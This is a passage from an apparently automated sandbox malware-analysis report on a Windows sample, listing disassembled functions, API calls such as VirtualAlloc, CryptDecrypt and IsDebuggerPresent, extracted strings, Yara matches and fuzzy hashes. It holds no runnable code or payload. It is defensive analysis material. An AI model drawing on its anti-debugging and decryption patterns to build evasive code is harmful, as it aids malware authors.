Instruction Fuzzy Hash: B4E03031205225AAD73126A69E00BDB3A589B417A4F154233EC04E66D1DBAC9CE182AD

Function 0040E268 Relevance: 1.5, APIs: 1, Instructions: 11COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0040E27B

Part of subcall function 00411AC2: RtlFreeHeap.NTDLL(00000000,00000000,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?), ref: 00411AD8
Part of subcall function 00411AC2: GetLastError.KERNEL32(?,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?,?), ref: 00411AEA

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: ErrorFreeHeapLast_free
String ID:
API String ID: 1353095263-0
Opcode ID: db01065975d67949ddfc68d95b64cc0fb921476d903cbe9e9cdf5676f9f73183
Instruction ID: def2e2de252ffdbb94672f6279d5865abf5ab7644d9ffbe49541578f7e328dd5
Opcode Fuzzy Hash: db01065975d67949ddfc68d95b64cc0fb921476d903cbe9e9cdf5676f9f73183
Instruction Fuzzy Hash: 82C08C31100208BBCB00DB46C806B8E7FA8DB803A8F204049F40417251DAB1EE409680

Function 009AA2B0 Relevance: 1.5, APIs: 1, Instructions: 3libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 009AA2B0

Memory Dump Source

Source File: 00000000.00000002.2420658294.00000000009A4000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a4000_dI3n4LSHB7.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 0819aa76db30bf4cf228f2494cf74b4340dfcaaf67bfdbd212c5e11b307e0de5
Instruction ID: 55ead4362ca94da83d6a7a573e6d07b77261ce3b53e9010c9bcf4a4cc6a6028b
Opcode Fuzzy Hash: 0819aa76db30bf4cf228f2494cf74b4340dfcaaf67bfdbd212c5e11b307e0de5
Instruction Fuzzy Hash: 0B90027142500B9A57040E61440856F3D14A505602B300904790340C4099950C109668

Function 00D7A07D Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 00D7A0CE

Memory Dump Source

Source File: 00000000.00000002.2421354084.0000000000D79000.00000040.00000020.00020000.00000000.sdmp, Offset: 00D79000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d79000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: ed259b59305aaa7e8e53b55dd407bcc09b1c1c528df0eea4f12c257b9aaea052
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: AE112B79A00208EFDB01DF98C985E99BBF5EF08350F45C094F9489B362E371EA50DB91

Function 00402BF0 Relevance: 1.3, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 00402BFF

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ca1f9d2fe36c7284753979306af93d0cb1d2fe33a661f06d3f51028e1cfc8f97
Instruction ID: c3e6f36c677934e3fb1d6ceeea9da9d01375f90aa72a3d22a0593b590ebbe711
Opcode Fuzzy Hash: ca1f9d2fe36c7284753979306af93d0cb1d2fe33a661f06d3f51028e1cfc8f97
Instruction Fuzzy Hash: F7C0013200020DFBCF025F81EC0489A7F2AEB09264F008020FA1804021C7329931ABA9

Function 00402C10 Relevance: 1.3, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 00402C1C

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 5ceef4664e2463bb707098a5d0699c231cbc0156091deadbe1fb1452187b7f9f
Instruction ID: 60d78a83612f02709208ad56537e98f16bf966ab6139b9664c308e167d28ca00
Opcode Fuzzy Hash: 5ceef4664e2463bb707098a5d0699c231cbc0156091deadbe1fb1452187b7f9f
Instruction Fuzzy Hash: 61B0923244020CFBCF021F81EC048D93F2AFB08264F008024FA1C44031C733D531AB84

Non-executed Functions

Function 04B43B27 Relevance: 31.4, APIs: 9, Strings: 8, Instructions: 1645COMMON

Download Yara Rule

Strings

DFEK, xrefs: 04B45143
rB, xrefs: 04B44DB5
rB, xrefs: 04B450DE
rB, xrefs: 04B43DD6
rB, xrefs: 04B46527
rB, xrefs: 04B442AC
]DFE, xrefs: 04B444F4
FOKD, xrefs: 04B4431F

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID:
String ID: DFEK$FOKD$]DFE$rB$rB$rB$rB$rB
API String ID: 0-735762442
Opcode ID: b634da6b4ff11c5db356e861f82a2c18836c59c7cb790a52b1b2f21f6beabc7d
Instruction ID: f9dcea7f7b74f7a7a3300ace79cc6978366e73db8824ea66bee9f315b22b43fa
Opcode Fuzzy Hash: b634da6b4ff11c5db356e861f82a2c18836c59c7cb790a52b1b2f21f6beabc7d
Instruction Fuzzy Hash: EAE2C2B0D002589BEB24EF68CC54BEDBB74EF91308F1041D8D5496B281DB757A88EFA5

Function 04B43727 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 225encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,?,00000018,F0000000,0042A018), ref: 04B437A7
CryptCreateHash.ADVAPI32(?,0000800C,00000000,00000000,?), ref: 04B437CB
_mbstowcs.LIBCMT ref: 04B4381E
CryptHashData.ADVAPI32(?,00000000,?,00000000), ref: 04B43835
GetLastError.KERNEL32 ref: 04B4383F
CryptDeriveKey.ADVAPI32(?,0000660E,?,00000000,?), ref: 04B43867
GetLastError.KERNEL32 ref: 04B43871
CryptReleaseContext.ADVAPI32(?,00000000), ref: 04B43881
CryptDecrypt.ADVAPI32(?,00000000,00000000,00000000,?,00000000), ref: 04B43943
CryptDestroyKey.ADVAPI32(?), ref: 04B439B5

Strings

Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 04B43783

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: Crypt$ContextErrorHashLast$AcquireCreateDataDecryptDeriveDestroyRelease_mbstowcs
String ID: Microsoft Enhanced RSA and AES Cryptographic Provider
API String ID: 3642901890-63410773
Opcode ID: e8a2417c6fd1f5a0234f20e664ae74c119de5196ead524865740bbc4210dc3f9
Instruction ID: 4fe274e54d431eebfbc365bd5b69b411441be6651f31eb9a9068311ca2197b44
Opcode Fuzzy Hash: e8a2417c6fd1f5a0234f20e664ae74c119de5196ead524865740bbc4210dc3f9
Instruction Fuzzy Hash: F6818471B00218AFEF209F24CC45B9ABBB5FF89300F0481E5E94DE7290DB319A849F55

Function 00997B21 Relevance: 12.9, Strings: 9, Instructions: 1681COMMON

Download Yara Rule

Strings

z@W, xrefs: 00998891
&W, xrefs: 0099850E
bBXu, xrefs: 00997B7A
/?w, xrefs: 00997C33
o_|_, xrefs: 0099825A
'|Y, xrefs: 00998577
ZYvn, xrefs: 00998667
'88, xrefs: 009988FB
x,_K, xrefs: 00998E31

Memory Dump Source

Source File: 00000000.00000002.2420658294.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_819000_dI3n4LSHB7.jbxd

Similarity

API ID:
String ID: '88$'|Y$/?w$ZYvn$bBXu$o_|_$x,_K$z@W$&W
API String ID: 0-3579584463
Opcode ID: 8fa1a11f6395ade10c41d4b103f8f4704ee275b88509ba49660acf16dc447c88
Instruction ID: d83e8d3d0270aef09a813f643a0bf18fe67c69c2eebd35af15195c09d5135dc9
Opcode Fuzzy Hash: 8fa1a11f6395ade10c41d4b103f8f4704ee275b88509ba49660acf16dc447c88
Instruction Fuzzy Hash: 01B228F360C204AFE3046E2DEC8567ABBEAEFD4720F16853DE6C4C7744EA3558058696

Function 0098A715 Relevance: 10.4, Strings: 7, Instructions: 1625COMMON

Download Yara Rule

Strings

AH<w, xrefs: 0098BA54
A<~, xrefs: 0098A9EC
0N, xrefs: 0098B4EF
=w, xrefs: 0098B57B
dLDy, xrefs: 0098B6C2
^BGs, xrefs: 0098A864
T}?, xrefs: 0098A84B

Memory Dump Source

Source File: 00000000.00000002.2420658294.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_819000_dI3n4LSHB7.jbxd

Similarity

API ID:
String ID: =w$0N$A<~$AH<w$T}?$^BGs$dLDy
API String ID: 0-1366062339
Opcode ID: 0141af8423853e06b59c79d3b220822ef387c30825746ac9ff5328f2c7b83c55
Instruction ID: 6e7b0fd7863938db93019175b38461d0f7d119a79d95956666f14b0c956ba5bd
Opcode Fuzzy Hash: 0141af8423853e06b59c79d3b220822ef387c30825746ac9ff5328f2c7b83c55
Instruction Fuzzy Hash: 2AB228F360C2009FE704AE2DDC8567AFBE9EF94320F1A893DE6C5C3744E63598058696

Function 0098DB19 Relevance: 10.4, Strings: 7, Instructions: 1601COMMON

Download Yara Rule

Strings

,*Gq, xrefs: 0098DB40
12_, xrefs: 0098DE9C
QxEk, xrefs: 0098EC96
A-9o, xrefs: 0098EABC
EN, xrefs: 0098E16C
Z;>n, xrefs: 0098E61D
jg7, xrefs: 0098ED83

Memory Dump Source

Source File: 00000000.00000002.2420658294.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_819000_dI3n4LSHB7.jbxd

Similarity

API ID:
String ID: ,*Gq$12_$A-9o$EN$QxEk$Z;>n$jg7
API String ID: 0-3247597967
Opcode ID: 16d653ac0c31914689d585a79d741b7d04e56724180113cd175a6529eb182b7c
Instruction ID: 27a25fd211319030167b98fcd9170815985a6379bdb424fca6ebb0aec9d44103
Opcode Fuzzy Hash: 16d653ac0c31914689d585a79d741b7d04e56724180113cd175a6529eb182b7c
Instruction Fuzzy Hash: E4B2F8F3A0C6009FE3046E2DEC8567AB7EAEFD4720F1A893DE6C4C7744E53598058696

Function 00992BBA Relevance: 10.3, Strings: 7, Instructions: 1596COMMON

Download Yara Rule

Strings

t:U>, xrefs: 00993438
6x~, xrefs: 00992ED7
M1"?, xrefs: 00993D56
E'_, xrefs: 00993C40
Fe2%, xrefs: 00993974
Dft, xrefs: 009935DF
N~-z, xrefs: 0099329C

Memory Dump Source

Source File: 00000000.00000002.2420658294.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_819000_dI3n4LSHB7.jbxd

Similarity

API ID:
String ID: 6x~$E'_$Fe2%$M1"?$N~-z$t:U>$Dft
API String ID: 0-4076625150
Opcode ID: f4db4c3cd2b04a0ebf4d52add36c5a072c7e309ad53364dd5c08469f1d452953
Instruction ID: af83db0309311a4005e44bf48db0a604cd04f09d3a403846e17c2b820fcfcd5c
Opcode Fuzzy Hash: f4db4c3cd2b04a0ebf4d52add36c5a072c7e309ad53364dd5c08469f1d452953
Instruction Fuzzy Hash: 54B2B2F360C6009FE704AE2DEC8567AFBE9EF98320F1A493DE6C4C3744E63558458696

Function 009960C9 Relevance: 10.3, Strings: 7, Instructions: 1585COMMON

Download Yara Rule

Strings

s'K, xrefs: 00996AE9
!PEi, xrefs: 00997097
6Daz, xrefs: 009962D2
eX|w, xrefs: 00996FF3
eX|w, xrefs: 00996F97
GR8D, xrefs: 00996E11
zw, xrefs: 00996841

Memory Dump Source

Source File: 00000000.00000002.2420658294.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_819000_dI3n4LSHB7.jbxd

Similarity

API ID:
String ID: zw$!PEi$6Daz$GR8D$eX|w$eX|w$s'K
API String ID: 0-3683660440
Opcode ID: 9627a6b4decc5ffb941465ff257d6693a11c5e7560235b0a10665ff5e24bddf8
Instruction ID: 0b3269c5edc0124e466a6586328b6220ce9c78ffea1bdd16449492ae70f497dd
Opcode Fuzzy Hash: 9627a6b4decc5ffb941465ff257d6693a11c5e7560235b0a10665ff5e24bddf8
Instruction Fuzzy Hash: 53B2E4F360C2049FE304AE2DEC8567AFBE9EF94720F1A493DE6C483744E67598058697

Function 0098F63A Relevance: 9.2, Strings: 6, Instructions: 1651COMMON

Download Yara Rule

Strings

RkKq, xrefs: 0098F7F9
4Q)b, xrefs: 0098FD1E
W.\:, xrefs: 0098F738
D/7}, xrefs: 0098F8F0
\LX, xrefs: 009905DD
|=wO, xrefs: 0098FC34

Memory Dump Source

Source File: 00000000.00000002.2420658294.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_819000_dI3n4LSHB7.jbxd

Similarity

API ID:
String ID: 4Q)b$D/7}$RkKq$W.\:$\LX$|=wO
API String ID: 0-2539188026
Opcode ID: e218b1bafb510b22e219794839a769fa6b35225f210a0dfb654cae59733ef870
Instruction ID: b1d749d1af3e603ba454746e5dc2c3286b0b51a90459a3aa674a41a038a6953f
Opcode Fuzzy Hash: e218b1bafb510b22e219794839a769fa6b35225f210a0dfb654cae59733ef870
Instruction Fuzzy Hash: 54B218F360C2009FE3086E2DEC9567AFBE9EF94720F1A493DE6C5C7744E63598018696

Function 00988C5D Relevance: 6.6, Strings: 4, Instructions: 1599COMMON

Download Yara Rule

Strings

9|w?, xrefs: 009898B1
^ mj, xrefs: 0098992B
^ mj, xrefs: 00989920
7[^, xrefs: 00989117

Memory Dump Source

Source File: 00000000.00000002.2420658294.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_819000_dI3n4LSHB7.jbxd

Similarity

API ID:
String ID: 9|w?$^ mj$^ mj$7[^
API String ID: 0-2043828993
Opcode ID: 92b8ea4b0682a00b61a8e3625ec0b3897739f1f37d84802d8c30fb55a6758358
Instruction ID: d134536bf4320edeb2cfc74145e922ec5c0b7f93c8919cae8d7b1ef5e3651200
Opcode Fuzzy Hash: 92b8ea4b0682a00b61a8e3625ec0b3897739f1f37d84802d8c30fb55a6758358
Instruction Fuzzy Hash: EAB227F3A0C6049FE3046E2DDC8567AFBE9EF94320F16493DEAC583744EA3598058697

Function 04B49A19 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 04B49A25
IsDebuggerPresent.KERNEL32 ref: 04B49AF1
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 04B49B11
UnhandledExceptionFilter.KERNEL32(?), ref: 04B49B1B

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 3d6f7e7e6d2dce829ef9a538eb3787554eded577627c7bcf21dfb5f8b50c02c3
Instruction ID: 3f826736889305ecb234e0bb4f6114a69f31afa50bf0e8fcc6e92b3813a43dd4
Opcode Fuzzy Hash: 3d6f7e7e6d2dce829ef9a538eb3787554eded577627c7bcf21dfb5f8b50c02c3
Instruction Fuzzy Hash: AC311AB5D4121C9BDB20DFA4D989BCDBBB8BF48304F1040EAE409A7250EB715A85DF04

Function 004097B2 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 004097BE
IsDebuggerPresent.KERNEL32 ref: 0040988A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004098AA
UnhandledExceptionFilter.KERNEL32(?), ref: 004098B4

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 3d6f7e7e6d2dce829ef9a538eb3787554eded577627c7bcf21dfb5f8b50c02c3
Instruction ID: c565fb8366faf90fb764b1371249259a4a166a2e914fc73a985bf40890c2a5d7
Opcode Fuzzy Hash: 3d6f7e7e6d2dce829ef9a538eb3787554eded577627c7bcf21dfb5f8b50c02c3
Instruction Fuzzy Hash: AB312BB5D1131CDBDB10EF65D9897CDBBB8BF18304F1040AAE409A7290EB755A85CF49

Function 04CF2070 Relevance: 5.5, Strings: 4, Instructions: 504COMMON

Download Yara Rule

Strings

`,@, xrefs: 04CF2260
@,@, xrefs: 04CF2259
0,@, xrefs: 04CF2252
@, xrefs: 04CF208F

Memory Dump Source

Source File: 00000000.00000003.1769038956.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4cf0000_dI3n4LSHB7.jbxd

Similarity

API ID:
String ID: 0,@$@$@,@$`,@
API String ID: 0-1654315312
Opcode ID: 5b4dbf54bdba94f60b787558392db44d93cafa9daf967c2ab35a05ecdb66b168
Instruction ID: 9d04eb5d453bd822a23a1c305b061fc2d574cb9f1f4083cf641312b7c7e43fb5
Opcode Fuzzy Hash: 5b4dbf54bdba94f60b787558392db44d93cafa9daf967c2ab35a05ecdb66b168
Instruction Fuzzy Hash: CA127C71B002159BDB54CF98DD80BADB7B2FF48314F1441AAEA09AB381D77AF941CB94

Function 04B4C31A Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 04B4C412
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 04B4C41C
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 04B4C429

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 131c0d4e7d26b594cba5fcb71e5b1937b03cc24f2ec617643b077344ff1b42c4
Instruction ID: 46b9c7b27c31c4f677a546c9b3137b8e337d51f6eae02f45cfbb35a4547c6502
Opcode Fuzzy Hash: 131c0d4e7d26b594cba5fcb71e5b1937b03cc24f2ec617643b077344ff1b42c4
Instruction Fuzzy Hash: 5831C7B490122CABCB61DF28DD887DDBBB4BF48710F5041EAE41CA7250E770AB859F49

Function 0040C0B3 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 0040C1AB
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 0040C1B5
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 0040C1C2

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: b149471185ea7cab19788dd3e2c66aa1f526c3a9366d234e05bd43495572b69a
Instruction ID: dd4c83c30a1d2e7c36c102c60c461113305a32f1f02fbca7a201bc05c8f10de1
Opcode Fuzzy Hash: b149471185ea7cab19788dd3e2c66aa1f526c3a9366d234e05bd43495572b69a
Instruction Fuzzy Hash: 3031E774901228EBCB21DF65D8897CDBBB4BF18310F5041EAE40CA7291E7349F858F49

Function 10005F25 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,10005F24,?,?,?,?,?,10001F4F), ref: 10005F47
TerminateProcess.KERNEL32(00000000,?,10005F24,?,?,?,?,?,10001F4F), ref: 10005F4E
ExitProcess.KERNEL32 ref: 10005F60

Memory Dump Source

Source File: 00000000.00000002.2423917899.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2423894296.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423948703.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423983729.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_dI3n4LSHB7.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 25e154c42a67dcf87d00edb929b2d1476c3327d7ef7788f8d8e64d02c0ecb1df
Instruction ID: 146749da7bea6e31057676a24497a7e39fcb2650f4e844f2ac51073fb5c6c599
Opcode Fuzzy Hash: 25e154c42a67dcf87d00edb929b2d1476c3327d7ef7788f8d8e64d02c0ecb1df
Instruction Fuzzy Hash: 02E08631404589EFEF069F10CD4CA993B69FB442C2B008024F50D8A135CB7AEDD1CB41

Function 04B4F174 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,04B4F173,00000000,0041D0A0,?,00000000,?,04B51714), ref: 04B4F196
TerminateProcess.KERNEL32(00000000,?,04B4F173,00000000,0041D0A0,?,00000000,?,04B51714), ref: 04B4F19D
ExitProcess.KERNEL32 ref: 04B4F1AF

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 0681eec8a10bae1972cdd76b7596642c5d6b23a8fea5b51096d6af8d336d3898
Instruction ID: 5a0b6906482cab578f04eaf4a73385882b6fb4f46445c91b1b3a9aa926e356b2
Opcode Fuzzy Hash: 0681eec8a10bae1972cdd76b7596642c5d6b23a8fea5b51096d6af8d336d3898
Instruction Fuzzy Hash: 0FE0B671844118AFDB117F54DD48A993B69FF90685F004464F80587231CB76E991DB94

Function 04B4092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

l, xrefs: 04B40966
GetProcAddress., xrefs: 04B409DC, 04B409DF, 04B409E4
., xrefs: 04B4095F

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: d5037ae184a1353f3a29f5d41dbbdc7d36793d66b344cbbfc880b87a4d66a8bb
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: FB316CB6910609DFEB10DF99C880AAEBBF5FF48324F14408AD941A7310D771FA45DBA4

Function 04CFE720 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1769038956.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4cf0000_dI3n4LSHB7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49dfbd2288928feededa099d44ae440f86fb38599ad47adeb3a8dcc3b0116a46
Instruction ID: bc675e7e2c32dd5d6667c9c947488e9291fc5f904ebab751bcf1799eef5df357
Opcode Fuzzy Hash: 49dfbd2288928feededa099d44ae440f86fb38599ad47adeb3a8dcc3b0116a46
Instruction Fuzzy Hash: 8EF14071E002199FDF54CFA9CC806ADBBF2FF88314F158269D919AB394D735AA01CB94

Function 04B4F587 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49dfbd2288928feededa099d44ae440f86fb38599ad47adeb3a8dcc3b0116a46
Instruction ID: e80ba316238a52440995120652ccb2ba54186a16ce09c0288fdc6cfb70fcf59f
Opcode Fuzzy Hash: 49dfbd2288928feededa099d44ae440f86fb38599ad47adeb3a8dcc3b0116a46
Instruction Fuzzy Hash: A0F13071E00219DFDF14CFA9D9806ADF7B1FF88324F2582A9D919AB344D731A941DB90

Function 0040F320 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49dfbd2288928feededa099d44ae440f86fb38599ad47adeb3a8dcc3b0116a46
Instruction ID: b8b31c7c7d4b51565c9f0be571567412a69d2e0e61470088d295795398052e15
Opcode Fuzzy Hash: 49dfbd2288928feededa099d44ae440f86fb38599ad47adeb3a8dcc3b0116a46
Instruction Fuzzy Hash: BDF13D71E002199BDF24CFA8C9806AEB7B1FF88314F25827AD819B7785D735AD05CB94

Function 00991E28 Relevance: 3.0, Strings: 2, Instructions: 456COMMON

Download Yara Rule

Strings

/'w7, xrefs: 009921D7
+'w7, xrefs: 009921DC

Memory Dump Source

Source File: 00000000.00000002.2420658294.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_819000_dI3n4LSHB7.jbxd

Similarity

API ID:
String ID: +'w7$/'w7
API String ID: 0-209688280
Opcode ID: ab376b3ebedfe519d2d86d69de4708cb60d24ca93454791c626080764f8e783e
Instruction ID: d8f1ce8a3bdb32dbe2147ae488c759a36108509f1f3293005217a02554ceb46e
Opcode Fuzzy Hash: ab376b3ebedfe519d2d86d69de4708cb60d24ca93454791c626080764f8e783e
Instruction Fuzzy Hash: 11E1F4F36086009FE304AF2DDC8577ABBE5EF94220F1A493DEAC483744E67558458697

Function 0096D935 Relevance: 2.7, Strings: 2, Instructions: 175COMMON

Download Yara Rule

Strings

Jw, xrefs: 0096DAB1
_^>Z, xrefs: 0096DA55

Memory Dump Source

Source File: 00000000.00000002.2420658294.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_819000_dI3n4LSHB7.jbxd

Similarity

API ID:
String ID: Jw$_^>Z
API String ID: 0-3010857071
Opcode ID: c7e841a0aa47db7ee3a2f7d8cb695b7f7162b0f32f3d9c445c02a0506a78628c
